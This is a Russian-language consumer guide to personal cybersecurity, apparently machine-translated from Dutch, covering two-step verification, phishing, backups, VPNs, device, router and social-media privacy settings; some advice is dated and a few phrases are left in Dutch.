Двухэтапная проверка

Каким бы надежным ни был ваш пароль, его всегда можно украсть. Чтобы ограничить последствия, вы можете использовать относительно новый метод безопасности двухэтапной проверки , также известный как двухфакторная аутентификация (2fa) .

Вы активируете двухэтапную аутентификацию для каждой службы, которую используете. После входа в систему с вашим именем пользователя и паролем вам нужно будет выполнить второй шаг. Обычно вас просят ввести код, который появляется на вашем смартфоне (через SMS или так называемое приложение-аутентификатор).

Скажи да 2fa

Предположим, у хакера есть ваше имя пользователя и пароль, он также должен иметь доступ к коду на вашем телефоне. Такого почти никогда не бывает. На этом веб-сайте вы можете увидеть, для каких онлайн-профилей и услуг вы можете включить двухэтапную проверку. Подумайте о Google , Apple , Facebook , Instagram , WhatsApp и Dropbox . Но не забывайте DigiD , где вы можете указать, что вы должны вводить проверочный код по умолчанию после входа в систему.


Вы получаете коды входа в систему по SMS, привязав номер своего мобильного телефона к онлайн-сервису. Операция говорит сама за себя: после получения SMS 💬 вы вводите код, который видите в сообщении на веб-сайте или в приложении, где вы хотите войти. Хакеры могут перехватить эти SMS-коды с помощью целенаправленной атаки, но для большинства людей этой защиты достаточно .


Другой, более безопасный способ двухэтапной проверки — использовать приложение-аутентификатор. С помощью этого приложения вы сканируете QR-код (своего рода штрих-код) службы, для которой хотите активировать защиту. После сканирования в приложении появляется код входа, который обновляется каждые тридцать секунд.

Аутентичный скриншотПриложения 1Password , LastPass , Authy , Google и Microsoft , среди прочего , могут сканировать эти QR-коды и генерировать коды входа. Приложение Microsoft автоматически выполняет вход в Outlook, а LastPass Authenticator позволяет входить на множество различных веб-сайтов одним нажатием кнопки с помощью двухэтапной проверки.

Будьте осторожны с Google Authenticator , потому что, если вы потеряете или сбросите настройки телефона, на котором вы установили это приложение, вы потеряете все свои коды входа. В других приложениях коды входа синхронизируются на всех устройствах, с которыми вы их генерируете.

Обратите внимание на замок (но не верьте ему)

Значок замка 🔒 в строке веб-адреса вашего интернет-браузера означает, что вы используете зашифрованное соединение. В результате отправляемая вами информация, такая как ваш пароль или данные кредитной карты, защищена, и хакер не может ее просто перехватить. Поэтому имейте в виду, что вы вводите конфиденциальную информацию только на веб-сайтах с такой блокировкой, которая также может быть распознана по https: // перед веб-адресом.

Зеленый замок

Также имейте в виду, что блокировка не означает сразу, что вы можете доверять сайту 🚫. Многие фишинговые сайты, которые пытаются украсть ваши данные для входа, теперь также используют такую ​​блокировку, чтобы завоевать ваше доверие. Поэтому продолжайте смотреть на веб-адрес и правильно ли он построен.

  • Правильно : https://www.facebook.com (facebook.com — основной домен)
  • Ошибка : https://www.facebook.tech (.tech — неправильное расширение домена)
  • Ошибка : https://facebook.inlog.net (здесь основной домен inlog.net)
  • Ошибка : https://www.faceb00k.com (вместо удвоенной буквы о два нуля)

Делать резервные копии

Резервная копия, общепринятый термин для резервной копии , дает вам доступ к вашим файлам, если что-то пойдет не так. Предположим, ваш компьютер внезапно сломался. О каких потерянных фотографиях videos, видео 📹 и документах вам было бы грустно, и какие файлы вам нужны для ваших записей? Это файлы для резервного копирования.

Резервное копирование гарантирует, что ваши важные файлы будут в безопасности, даже если ваш компьютер сломается, ваш телефон украден или вирус-заложник сделает ваш компьютер недоступным. С резервной копией вы можете быстро вернуться к работе.

Рекомендуется делать как оперативную, так и автономную резервную копию . Вы можете сделать онлайн-резервную копию с помощью облачной службы ☁️, такой как Dropbox или Stack , автономную резервную копию через внешний жесткий диск. Регулярно проверяйте, все ли сохраненные файлы там без ошибок.

Распознавать фишинг

В большинстве случаев фишинговые атаки легко обнаружить. Возьмем, к примеру, фальшивое электронное письмо от ABN Amro, в котором говорится, что ваша банковская карта заблокирована, пока вы находитесь в другом банке. Логического мышления уже достаточно, чтобы защитить себя.

Но фишинговое письмо может показаться вполне реальным. Поэтому разумно всегда внимательно смотреть на отправителя электронного письма. Если отправитель использует адрес @abnamro.incasso55.nl, вы знаете, что письмо не было отправлено ABN Amro. Тогда бы сказали nl.abnamro.com.

Также обратите пристальное внимание на язык . Многие фишинговые письма содержат языковые ошибки или адресуются вам Geachte heer / mevrouw. Большинство организаций знают, кто вы и как к вам обращаться.

Фишинговые сообщения электронной почты часто пытаются вас напугать 😨, например, утверждая, что ваш банковский счет заблокирован или что вы должны оплатить прямой дебет. Или в письмах говорится, что вы что-то выиграли 🤑. Если вы не уверены, позвоните в соответствующую организацию. Не используйте телефонный номер, указанный в электронном письме, а найдите его на официальном сайте.

Всегда просматривайте ссылки в электронном письме. Для этого нужно навести указатель мыши 🖱️ на ссылку, не щелкая ее. Таким образом вы увидите адрес, по которому ссылка хочет вам отправить. Обычно это указывает на то, фишинг это или нет. Для мобильных устройств: нажмите и удерживайте ссылку, чтобы скопировать ее. Затем вы можете вставить его в новое электронное письмо, чтобы увидеть полный веб-адрес.

Если вы не доверяете электронному письму или ссылкам в нем, перейдите на веб-сайт соответствующей организации через браузер и войдите в систему . Там вы также часто найдете все полученные сообщения и счета. Вы также всегда можете позвонить в организацию, чтобы узнать, действительно ли полученное электронное письмо пришло от этой компании. Еще одна важная максима:

Если это кажется слишком хорошим, чтобы быть правдой, вероятно, так оно и есть.

Если у вас есть учетная запись Google, этот плагин для браузера поможет вам от фишинговых атак: Password Alert . Плагин отправит вам предупреждение, как только вы введете пароль Google на поддельной странице входа. Для многих людей Google и связанный с ним Gmail являются их основной онлайн-учетной записью, поэтому установка этого официального плагина Google может окупиться.

Не нажимайте просто на ссылки

Не только с фишингом — нельзя просто переходить по ссылкам. В любом случае это хороший совет, независимо от того, получаете ли вы ссылку по электронной почте, в социальных сетях или в текстовом сообщении. Например, смартфон можно взломать, нажав неверную ссылку.

Это случается не со всеми, и вам не нужно бояться каждой ссылки. Но если вы ему не доверяете, сначала проверьте ссылку op, как описано выше.

Будьте осторожны с вложениями в электронных письмах и открытием документов

Как и в случае со ссылками, вы должны быть осторожны с вложениями в сообщениях электронной почты . Таким образом часто распространяются вирусы, которые хакеры могут использовать для получения доступа к вашему устройству. Они делают это, Word-documentскрывая вирус в явно безвредном файле, например в файле . Кроме того , документы Word , хакеры их вирусы могут также Excel-PDF-ZIP-и EXE-bestandenшкура.

Как правило, вы можете открывать документы Word и Excel в Microsoft Office. Как только после открытия документа вы увидите большую желтую полосу вверху программы, будьте осторожны ⚠️. Это признак того, что документ может содержать вредоносное ПО. Никогда не нажимайте кнопку на желтой полосе, особенно когда этого требует документ. Если вы не доверяете документу, откройте его на веб-сайте Документов Google . Таким образом, ваш компьютер не будет заражен, если документ действительно содержит вирус.

Остерегайтесь желтой полосы

Файлы PDF лучше всего открывать в браузере, перетаскивая файл на вкладку браузера. Или щелкните файл PDF правой кнопкой мыши и выберите openen met > browser.

Другой способ безопасного открытия документов — DANGERZONE . Эта бесплатная программа для Windows и MacOS конвертирует потенциально опасные документы PDF, файлы Office и фотографии в файлы, которые вы можете безопасно открывать и просматривать 👍.

Всегда будьте осторожны с EXE-файлами. Вам почти никогда не придется его открывать, если только вы не хотите установить программу. Вам никогда не нужно щелкать EXE-файл, чтобы открыть документ 📄. Файлы ZIP можно извлекать как обычно, но будьте осторожны с содержимым и соблюдайте меры предосторожности, описанные выше.

Если вы не доверяете файлу, вы можете загрузить его ⬇️ на свой компьютер ( не открывать! ), А затем загрузить на VirusTotal . Этот веб-сайт анализирует файл и сообщает вам, содержит ли он вирус. Имейте в виду, что и Google, и VirusTotal будут иметь файл доступным после загрузки.

Также отключите эту опцию verberg extensiesкак для Windows , так и для MacOS , чтобы вы всегда могли видеть, какое расширение имеет файл.

Будьте осторожны с общедоступным Wi-Fi

Публичные сети Wi-Fi вроде Wifi in de Treinбы небезопасны. Хакеры могут заглянуть в ваши дела в Интернете и попытаться украсть данные для входа. Используйте подключение 4G или создайте на своем телефоне точку доступа, защищенную паролем . С такой точкой доступа ( Android , iPhone ) ваш ноутбук использует мобильное соединение вашего телефона для серфинга в Интернете.

Если вы все еще хотите использовать общедоступную сеть Wi-Fi, убедитесь, что вы входите только на веб-сайты с блокировкой . Эти данные зашифрованы и не могут быть просмотрены другими. Этот совет также применим к сетям Wi-Fi ресторанов 🍟 и гостиниц 🛏️: они защищены паролем, но все еще используются многими людьми.

Также обратите внимание на экран приветствия, который вы иногда видите. Иногда вам будет предложено установить приложение, программу или сертификат. Это абсолютно не обязательно для подключения к Интернету и, возможно, признак того, что хакеру нужен доступ к вашему смартфону или ноутбуку. При необходимости уточните у провайдера Wi-Fi сети.

Наконец, важно понимать, что сеть Wi-Fi с паролем не обязательно является безопасной. Эти сети Wi-Fi также могут быть в руках преступного хакера.

Используйте VPN

Также настоятельно рекомендуется использовать виртуальную частную сеть (VPN), как только вы подключаетесь к общедоступной сети Wi-Fi. VPN создает цифровой туннель, через который проходит ваш трафик данных. В результате другие не могут видеть, что вы делаете в Интернете. Таким образом вы защитите себя от цифровых взломщиков.

Большинство людей слышали о VPN благодаря Netflix. С таким VPN вы можете притвориться, что вы из другой страны , например, подключившись к американскому серверу. Таким образом, с помощью некоторых VPN-сервисов можно будет просмотреть обширное предложение Netflix в США.

VPN также полезен, если вы не хотите, чтобы ваш интернет-провайдер знал, что вы делаете в Интернете. Вы всегда можете оставить VPN-соединение на своем компьютере. Недостаток VPN в том, что он немного замедляет ваше интернет-соединение .

Из платных услуг VPN, самый простой в Freedome , iVPN и NordVPN , которые стоят 4, 5 и 6 евро в месяц соответственно. AirVPN и Mullvad предназначены для опытных пользователей.

Значок ProtonVPNНе пользуйтесь бесплатным VPN-сервисом . Эти службы часто продают вашу личную информацию, например, какие веб-сайты вы посещаете. Если у вас мало денег и вы не можете позволить себе VPN, вы всегда можете использовать бесплатную версию ProtonVPN — ее достаточно для тех нескольких случаев, когда вы хотите подключиться к общедоступной сети Wi-Fi.

Не оставляйте свои вещи без присмотра

Этот совет может показаться очевидным, но вы часто видите ноутбуки на столах людей, которые только что сходили в туалет 🚽. Помимо риска кражи вашего имущества, существует также опасность того, что кто-то со злым умыслом воспользуется вашим устройством. Это может произойти, если ноутбук не заблокирован и не закрыт.

Поэтому всегда устанавливайте короткое время, по (1 minuut)истечении которого ноутбук автоматически блокируется . Если вам вдруг придется оставить компьютер и вы забудете взять его с собой, устройство станет недоступным для других в течение минуты. Как правило, берите ноутбук с собой, когда покидаете свое место.

вернуться наверх ↑



Мы будем первыми, кто познакомится с компьютером 💻 — устройством, которое проще всего взломать. Большинство вирусных заражений происходит на компьютерах с Windows.

Сканеры вирусов по-прежнему полезны

Компьютеры с Windows стандартно поставляются с антивирусным сканером Defender . Это хорошая программа, но Антивирус Касперского и BitDefender (оба по 30 евро в год) также показали хорошие результаты в последние годы.

Защитник включает функцию, которая защищает ваши самые важные папки от программ-вымогателей или другого вредоносного программного обеспечения, которое портит ваши файлы. Вы включаете эту опцию в Защитнике через Virus- en bedreigingsbeveiliging > Instellingen voor virus- en bedreigingsbeveiliging > Controlled Folder Access. Туда же можно добавить дополнительные папки, например папку с деловыми документами или семейными фотографиями 👨‍👨‍👧.

Второй совет — голландский Hitman Pro.Alert (30 евро в год). Вы используете эту программу в дополнение к антивирусному сканеру и защищаете от вредоносных программ, которые используют уязвимости вашего компьютера, например, для просмотра того, что вы вводите ⌨️.

Сканер вирусов не обязательно требуется для компьютеров Mac: операционная система затрудняет заражение вашего компьютера вредоносными программами. В результате для операционной системы Apple циркулирует мало вирусов. Если вы все еще хотите, антивирус Касперского (37 долларов в год), BitDefender (39 долларов в год) и ESET Security (30 долларов в год) — хороший выбор.

Также рекомендуются бесплатные программы безопасности Objective-See для MacOS: BlockBlock блокирует вредоносное ПО, OverSight блокирует шпионаж через веб-камеру, а ReiKey блокирует вредоносное ПО, которое отслеживает то, что вы вводите.

За антивирусный сканер нужно платить: часто это программное обеспечение лучше и обширнее. Если вы не можете заплатить за это, лучше всего загрузить и установить бесплатную версию Malwarebytes .

Включите автоматические обновления

Как вы читали выше: обновление важно. Поэтому рекомендуется автоматическая установка обновлений . Вы можете сделать это для Windows и MacOS , но в последнее время также и для программного обеспечения, такого как браузер Chrome .

Целесообразно проверить, является ли уведомление об обновлении вашего программного обеспечения законным. Многие вирусы распространяются с помощью поддельных уведомлений, таких как обновление Adobe Flash Player. Эти уведомления обычно появляются через веб-сайт. Если вы хотите быть уверенным, откройте соответствующую программу и вручную проверьте, доступно ли обновление.

Используйте Chrome и эти три расширения

В настоящее время Chrome — самый безопасный и удобный браузер, который вы можете использовать. Кроме того , Firefox и Safari , и края являются хорошим выбором, до тех пор , как Internet Explorer , но обходы. В любом случае установите эти три расширения:


Значок UblockAdblocker uBlock Origin — бесплатное расширение, которое блокирует рекламу и трекеры в Интернете. Он защищает от так называемой вредоносной рекламы: вирусов, которые распространяются через интернет-рекламу. Вы также не допускаете шпионских компаний. В отличие от более известных имен, таких как Adblock и Adblock Plus, uBlock Origin не имеет сомнительной модели дохода. Имейте в виду, что блокировщик рекламы забирает с веб-сайтов столь необходимый доход. Добавляя в белый список свои любимые веб-сайты , вы все равно можете позволить компании или частному лицу зарабатывать на вашем посещении.


Значок HTTPS вездеHTTPS Everywhere обеспечивает безопасное соединение https, когда это возможно. Если злоумышленник пытается перехватить ваше соединение, а затем отправить вас на веб-сайт с незащищенным (и, следовательно, перехватывающим) соединением, HTTPS Everywhere заблокирует эту попытку. Расширение можно скачать бесплатно.


Значок PDF JSПреступники регулярно скрывают вредоносные программы в файлах PDF, потому что программное обеспечение, которое их открывает (Adobe Reader), часто содержит дыры в безопасности. Поэтому лучше открывать PDF-файлы в браузере: PDF Viewer , бесплатное расширение для Chrome, делает это. Браузер уже открывает документы PDF по умолчанию, но с этим расширением вы получаете больше функций, таких как поиск документа. Firefox также имеет возможность открывать файлы PDF в браузере.

Обратите особое внимание на то, какие расширения вы устанавливаете, и не устанавливайте слишком много . Расширения могут иметь обширные права и в некоторых случаях видеть, что вы вводите в браузере. Вы можете увидеть, какие разрешения у каждого расширения есть.

Отключите Javascript и макросы и включите брандмауэр.

Хакеры часто используют определенные опции в популярных программах, чтобы заразить ваш компьютер вредоносным ПО. Отключение этих параметров усложняет жизнь злоумышленникам. Это касается Javascript в Adobe Reader и макросов в Microsoft Office . Выключите их обоих .

Вам следует включить брандмауэр, потому что эта система защищает вас от внешних атак. Сделайте это с MacOS и, желательно, также на вашем роутере; Брандмауэр Windows уже включен по умолчанию. Если вам нужна дополнительная безопасность в дополнение к брандмауэру, вы можете взглянуть на LuLu (бесплатно) и Little Snitch для MacOS или GlassWire для Windows. Эти приложения отслеживают, какие приложения подключаются к Интернету.

Избегайте вспышки

Когда-то Flash был важной технологией для просмотра видео и игр 🎮, ​​но теперь программное обеспечение сильно устарело и поэтому опасно . Лучше избегать Flash. Во многих браузерах Flash уже отключен по умолчанию, и вам нужно включить его специально. Делайте это только в том случае, если вы доверяете веб-сайту, который хочет использовать Flash.

В большинстве случаев веб-сайты используют более совершенные технологии, такие как HTML5, для отображения интерактивных элементов, таких как видео и игры. Производитель Flash Adobe обязательно откажется от программного обеспечения в 2020 году и рекомендует всем отказаться от использования Flash в течение некоторого времени.

Защитите свой роутер

Многим людям сложно правильно настроить свой роутер — устройство, обеспечивающее доступ в Интернет. Это и понятно: роутеры — очень сложные устройства 😕. Поскольку каждый маршрутизатор работает по-своему, вам нужно будет узнать, как реализовать эти советы в (онлайн) руководстве.

  • Защитите свою сеть Wi-Fi с помощью опции WPA2-AESи длинного пароля и отключите Wi-Fi Protected Setup (WPS).
  • Выключи UPNP. Эта технология небезопасна и обеспечивает более легкий доступ к вашей сети и устройствам.
  • Обновите программное обеспечение вашего роутера.
  • Создайте гостевую сеть с паролем для подключения ваших гостей и интеллектуальных устройств, таких как камера безопасности.
  • Убедитесь, что ваша сеть Wi-Fi не может быть отслежена до вас . Так что не говори об этом Familie Jansen.
  • Посмотрите вперед , чтобы port forwarding: просто поставить ворота открыть вам действительно нужно.

USB-накопители и смарт-устройства

Значок USB-накопителяИзвестный хакерский трюк — заставить жертву вставить зараженный USB-накопитель в свой компьютер, после чего устройство перехватывается. Всегда будьте осторожны с USB-накопителями, независимо от того, найдете ли вы их на улице или получите от кого-то 🎁. Если вы не доверяете USB-накопителю, посмотрите на него профессионально или выбросьте его.

Вы также можете спросить себя, нужны ли вам все эти умные устройства с Интернетом вещей. Неужели действительно важно, чтобы чайник мог подключаться к вашему Wi-Fi? Важно ли, чтобы у Барби вашего сына или дочери была камера, подключенная к Интернету? Все эти интеллектуальные устройства являются точками доступа, которые хакеры могут использовать для проникновения в вашу сеть.

Кроме того, эти устройства могут захватывать хакеры. Это произошло с умной камерой безопасности Action. Хакеры могли подглядывать и пугать людей через микрофон 😧. Поэтому покупайте только действительно нужные умные устройства и желательно от надежных брендов.

Безопасный интернет-банкинг

Некоторые люди боятся заниматься онлайн-банкингом. В этом нет необходимости: в последние годы интернет-банкинг стал очень безопасным . Для совершения платежей вы можете использовать веб-сайт своего банка или мобильное приложение 💶. В большинстве случаев приложение — самый безопасный выбор: в последних версиях Android и iOS злоумышленникам сложно захватить эти типы приложений.

Проверить короткие ссылки

Короткие ссылки очень часто используются в Интернете: они просто делают длинную ссылку короче. Известными сервисами для этого являются Bit.lyи TinyURL. Но короткие ссылки также часто используются для сокрытия опасных веб-сайтов . Вот почему рекомендуется проверять короткие ссылки, чтобы знать, откуда вы пришли. Это возможно с помощью голландского чека Je Linkje , который очень просто показывает, где вы оказались и является ли этот веб-сайт потенциально опасным. Для более продвинутых пользователей есть Urlscan.io .

Удалить файлы

Файлы, которые вы удаляете, часто можно восстановить с помощью специальных программ 🧐. Чтобы защитить себя от этого, используйте Ластик . Эта программа для Windows полностью удаляет файлы с жесткого диска. Для MacOS хорошим выбором будет бесплатное приложение Permanent Eraser .

Снимите веб-камеру и осмотритесь

Хакеры-преступники могут шпионить за вашей веб-камерой. Прокуратура даже рекомендует стандартно замаскировать веб-камеру. Таким образом, злоумышленник не сможет шантажировать вас фотографиями и видео с личными моментами, такими как переодевание, мастурбация или секс 🍆🍑. Наклеив на веб-камеру кусок ленты, вы сделаете это невозможным. Есть и более элегантные варианты, например, голландский Spy-Fy (19 евро за три штуки). В китайском интернет-магазине AliExpress вы найдете множество дешевых чехлов для веб-камер.

Если вы много в дороге и часто сидите в поезде или кафе со своим ноутбуком ☕, регулярно оглядывайтесь вокруг . Есть ли люди, которые умеют читать вместе с тем, что вы печатаете? Разве они не видят на вашем экране конфиденциальную информацию, такую ​​как пароль, номер телефона или ваш домашний адрес? Помните, что вы работаете в общественном месте.

Выберите Chromebook

Значок ChromebookУ вас не так много технических знаний, но вы хотели бы просматривать, отправлять по электронной почте и смотреть видео? Тогда Chromebook — разумный выбор . Этот ноутбук дешевый и очень безопасный, так как работает только с браузером Google Chrome. Хакеры и их вирусы с меньшей вероятностью заразят ваш компьютер. С помощью ноутбука вы можете делать все, что обычно делаете в браузере. У вас есть еще немного денег, чтобы потратить? Тогда iPad с клавиатурой также станет хорошим выбором для организации ваших онлайн-дел.

Периодическая переустановка не повредит

Попробуйте переустанавливать компьютер раз в три года. Это означает: создание резервной копии, затем стирание данных с жесткого диска и переустановка операционной системы ( Windows , MacOS ). Он не только ускоряет работу вашего компьютера, но и удаляет все ненужные и потенциально опасные программы и файлы.

вернуться наверх ↑

Телефон и планшет

Смартфон и планшет

Смартфон 📱 для многих является самым важным устройством в их жизни. Вот почему очень важно правильно защитить это устройство, независимо от того, есть ли у вас Android или iPhone.

Получите iPhone

Ладно, это немного грубо, но в целом iPhone более безопасен, чем телефоны Android. Поэтому люди, которые больше подвержены риску взлома, например юристы, политики и политики 👴, обычно имеют iPhone. Кроме того, iPhone будут получать обновления в течение пяти лет.

Самые безопасные телефоны Android поставляются Google и выпускаются под названием Pixel (ранее Nexus). Google прилагает все усилия, чтобы адаптировать Android таким образом, чтобы такие производители, как Samsung, Huawei и OnePlus, могли более легко выпускать обновления.

Обновите быстро

Этот совет снова занимает первое место в списке: всегда обновляйте свои мобильные устройства как можно скорее . Обновления закрывают дыры в безопасности, которые позволяют хакеру захватить ваш смартфон или планшет. Кроме того, важно регулярно обновлять свои приложения. Также возможна утечка приложений, что позволяет злоумышленнику получить доступ к вашим личным данным.

Включите шифрование

Шифрование гарантирует, что ваши данные, такие как ваши сообщения и фотографии, будут сохранены в цифровом сейфе 🔑. Шифрование включено по умолчанию на всех iPhone и большинстве телефонов Android, но на некоторых устройствах Android требуется сделать это вручную. Вы можете найти вариант шифрования через Instellingen > Beveiliging.

Предположим, кто-то находит ваш телефон и подключает его к компьютеру. Затем шифрование гарантирует, что они не смогут видеть все ваши чаты и фотографии. Это возможно только при вводе ПИН-кода, ключа от вашего цифрового сейфа. Вот почему использование ПИН-кода также важно.

Используйте шестизначный PIN-код и сканер отпечатков пальцев

Используя пин-код, другие пользователи не смогут просто попасть в ваш телефон или планшет. Выберите шестизначный PIN  код, который знаете только вы, а не стандартный код, например 0-0-0-0-0-01-2-3-4-5-6или 1-1-2-2-3-3. Также не рекомендуется использовать дату вашего рождения 🎂, как и все другие числовые комбинации, основанные на личных данных. Вы можете разрешить iPhone и некоторым Android-устройствам стирать данные с телефона после десятикратного ввода неправильного PIN-кода . Это дополнительный метод безопасности, но он также может быть опасен, если вы не сделали резервную копию.

Фото отпечатка пальцаИспользование сканера отпечатков пальцев во многих случаях даже проще. Он работает быстро и часто даже более безопасен, потому что люди не могут скопировать ваш отпечаток пальца. Вы хотите временно отключить сканер отпечатков пальцев? Затем перезагрузите ваше устройство. Затем вам нужно будет повторно ввести PIN-код для доступа к устройству. Если на вашем телефоне Android нет сканера отпечатков пальцев, вы можете дополнительно использовать графический ключ .

На вашей SIM-карте также есть пин-код. Вы настраиваете это в своем смартфоне, например, на шестизначный пин-код вместо стандартного кода 0-0-0-0. Также перенесите все контакты с SIM-карты в телефон, а затем удалите их с SIM-карты. Таким образом, вы не утратите чужую личную информацию, если потеряете или украдете телефон.

Устанавливайте приложения только из App Store или Google Play

Большинство вредоносных программ на смартфонах и планшетах создается людьми, устанавливающими приложения не из официальных магазинов приложений . Обычно это происходит потому, что люди хотят скачать платное приложение или игру бесплатно. Это «бесплатное» приложение затем содержит вредоносное ПО, которое, например, крадет данные вашей кредитной карты. Этот риск распространяется как на Android, так и на iOS.

В случае Android существует вторая опасность: в Google Play есть множество приложений, которые кажутся законными, но все же содержат вредоносные программы. Так что проведите свое исследование . Погуглите название приложения, прочтите отзывы и посмотрите, сколько установок было установлено. Так что не устанавливайте приложения просто на свой телефон или планшет Android.

Также важно проверить разрешения приложения. Приложение-фонарик 🔦, конечно, не требует доступа к вашей адресной книге. Как на Android, так и на iOS вы можете проверять и настраивать разрешения для каждого приложения. С Android вы переходите на Instellingen > Apps, с iOS вы переходите на Instellingen > Privacy.

Сканер вирусов для вашего телефона

Как пользователь Android вы можете установить антивирусный сканер на свой смартфон или планшет. Хороший выбор — приложения от ESET (9,99 евро в год), BitDefender (9,99 евро в год) и Kaspersky (13,99 евро в год). Последние два также можно найти как бесплатную версию в Google Play, но они предлагают меньше функций.

iVerify скриншотЕсли вы используете iPhone или iPad, антивирусный сканер бесполезен. Закрытая операционная система iOS делает невозможным выполнение работы антивирусного сканера. Вы можете установить приложение iVerify (3,50 евро). Это приложение проверяет, был ли ваш iPhone или iPad взломан, проверяя наличие аномалий или аномалий в iOS. Кроме того, приложение предлагает всевозможные полезные руководства для повышения безопасности вашего устройства.

В дополнение к антивирусным сканерам есть также программное обеспечение для Android, которое позволяет вам видеть, какие приложения все подключаются к Интернету. Таким образом вы будете следить за тем, какие данные отправляет ваш телефон или планшет. Glasswire, брандмауэр для Windows, также имеет приложение для Android (5 евро в год), которое блокирует доступ в Интернет надоедливых или вредоносных приложений.

Перезагрузите ваш телефон

Перезагрузка телефона или планшета — хороший способ защитить себя от хакеров. Во многих случаях любые вредоносные программы будут удалены путем перезагрузки устройства, также известной как перезагрузка . Хакерам очень сложно сохранить доступ к взломанному устройству после перезагрузки. Приятным дополнением является то, что ваша операционная система продолжит стабильно работать, если вы регулярно (один раз в неделю) перезагружаете телефон или планшет 👍.

Отключите Wi-Fi и Bluetooth, если они вам не нужны

Третьи стороны могут следить за вами через Wi-Fi и Bluetooth , например, по маршруту, который вы проезжаете через станцию. Если вам не нужен Wi-Fi или Bluetooth в дороге, целесообразно временно отключить эти параметры в настройках вашего устройства. Кроме того, вы защищаете себя от атак через Wi-Fi или Bluetooth.

Если вы когда-либо были подключены к сети Wi-Fi, ваше мобильное устройство автоматически подключится к ней. Это немного удобно, но сопряжено с риском. Распространенный метод атаки, используемый хакерами, — это создание поддельной сети Wi-Fi , такой как Wifi in de treinили McDonald's Free Wifi, к которой люди затем автоматически подключаются. Таким образом, они пытаются узнать, что вы делаете в Интернете, и перехватить пароли.

Целесообразно регулярно очищать список доверенных сетей Wi-Fi . Если вы подключаетесь к сети Wi-Fi отеля 🏨, удалите ее из памяти телефона после пребывания. Вы делаете это, зайдя в сеть WiFi через настройки и vergetenнажав на нее. Вы также можете настроить в Android и iOS для каждой сети Wi-Fi, которую вы не подключаетесь к ней автоматически .

Не показывать содержимое уведомлений

Содержание уведомлений может быть конфиденциальным . Может быть, кто-то пришлет свой пароль через WhatsApp, или вы получите коды входа по SMS. Скрывая содержимое уведомлений ( Android , iOS ), вы гарантируете, что другие не увидят эту информацию. Только когда вы разблокируете свой телефон, содержимое станет видимым.

Сделайте резервную копию вашего устройства

Резервные копии чрезвычайно важны . Если ваш телефон украден, вы всегда можете начать заново с резервной копии. Google и Apple предлагают варианты сделать полную резервную копию вашего телефона. Также поищите резервную копию своих фото и видео, многие из которых хранятся на телефоне. ICloud , Google Фото и Dropbox , среди прочего , являются хорошим выбором для резервного копирования ваших фотографий. Не забудьте включить двухэтапную аутентификацию для этих сервисов.

вернуться наверх ↑

Социальные медиа

Социальные медиа

Мы много делимся в социальных сетях 🤳. Иногда слишком много, и хакеры этим пользуются. Эта форма сбора данных называется Open Source Intelligence (OSINT) и может использоваться в хакерских атаках.

Смотрите, чем вы делитесь

Люди регулярно публикуют в социальных сетях фотографии своего паспорта, водительских прав и билетов на концерты . Вы можете подумать, что это глупо . Это так, но это все еще происходит массово. Штрих-код на вашем билете на концерт может быть использован кем-то другим, с фотографией паспорта и водительских прав вы можете взять ссуду на чужое имя.

Так что будьте осторожны с тем, чем вы делитесь в социальных сетях. За вами присматривает надоедливый бывший? Не размещайте в социальных сетях сообщения о том, где вы находитесь в данный момент. Вы ждете посылку 📦 из интернет-магазина? Хакер может притвориться сотрудником интернет-магазина, а затем «проверить данные». В основном это вопрос осознания ваших рисков .

Следите за своей личной информацией

Во многих компаниях вам нужно только указать свое имя, дату рождения и домашний адрес, чтобы убедиться, что это действительно вы. Эту информацию очень легко найти в Интернете: люди отмечают день рождения 🎈 в социальных сетях и сообщают (косвенно), где они живут, например, публикуя в Instagram фотографию своего нового дома 🏠.

Таким образом хакеру удалось обмануть сотрудника оператора связи и поставить на его имя номер телефона другого лица. Это дало ему возможность контролировать WhatsApp жертвы. Этот метод взлома также называется социальной инженерией — техникой атаки, с помощью которой людьми манипулируют.

Кроме того, в Интернете часто можно найти ответы на секретные вопросы , такие как имя вашего первого домашнего питомца или место рождения вашей матери. Обратите на это внимание.

Google себя

Значок GoogleЧто делает хакер, который хочет собрать информацию о цели? Справа: поиск в Google имени цели . Делайте это регулярно, чтобы знать, что о вас можно найти в Интернете. Например, вы можете настроить уведомление, чтобы вы получали электронное письмо, когда ваше имя обнаруживается в поисковой системе. В некоторых случаях также возможно удалить конфиденциальную информацию из поисковой системы .

Установите личные сообщения и выйдите из системы

Мы публикуем очень много сообщений в социальных сетях. Поэтому хорошо видеть в каждой социальной сети, следует ли сделать ваш профиль приватным . Вы много рассказываете о своей личной жизни в Facebook и Instagram? Затем поместите свой профиль в Facebook в приват ( посмотрите, как ваш профиль выглядит для лиц, не являющихся друзьями), а свою учетную запись в Instagram заблокируйте 🔒. То же самое и со Snapchat .

Твиттер — это немного другая история, так как многие там, чтобы быть услышанными. Если у вас есть общедоступный профиль в Твиттере, обратите особое внимание на то, чем вы публикуете : от вашего местоположения до личной информации. Также выйдите из системы, если вы больше не используете устройство, с которого вы вошли в Twitter, например общедоступный компьютер или ноутбук друга.

Остерегайтесь торговой палаты

Многие фрилансеры регистрируются в Торгово-промышленной палате (KvK) по домашнему адресу и частному номеру . Это легко и приятно, и вы можете сразу начать работу с собственной компанией 👨‍🔧. К сожалению, это также означает, что личные данные, связанные с вашей компанией, появляются повсюду в Интернете. Эти данные могут быть использованы злоумышленниками.

Если вы хотите зарегистрироваться в Торгово-промышленной палате, используйте рабочий адрес вместо домашнего. Для этого у вас должно быть рабочее место. Есть также организации, где можно арендовать место регистрации для Торгово-промышленной палаты за несколько десятков в месяц. Также используйте для регистрации другой номер телефона, например, номер 06 с предоплатой . Кроме того, не включайте собственное имя в название своей компании. Если вы не укажете свое имя, вас будет труднее найти в торговом реестре.

Будьте начеку с помощью Google Оповещений

С Google Alerts вы следите за новым онлайн-контентом 👀. Введите собственное имя в качестве ключевого слова, и вы будете точно знать, когда ваше имя упоминается на веб-сайте. Намного интереснее следить за конфиденциальными данными, такими как ваш адрес электронной почты, домашний адрес или номер телефона . Таким образом, вы точно знаете, когда веб-сайт публикует эти данные, и можете принять меры после этого.

Сделайте безопасную копию своего удостоверения личности

Действительно, можно сделать безопасную цифровую копию вашего паспорта, удостоверения личности или водительских прав 🚗. Правительство выпустило для этого удобное приложение: CopyID . С помощью приложения вы удаляете конфиденциальную информацию, например номер социального страхования. Вы также можете использовать водяной знак, чтобы указать цель копии, например kopie voor hotelovernachting op datum.

Проверьте, какие устройства вошли в систему

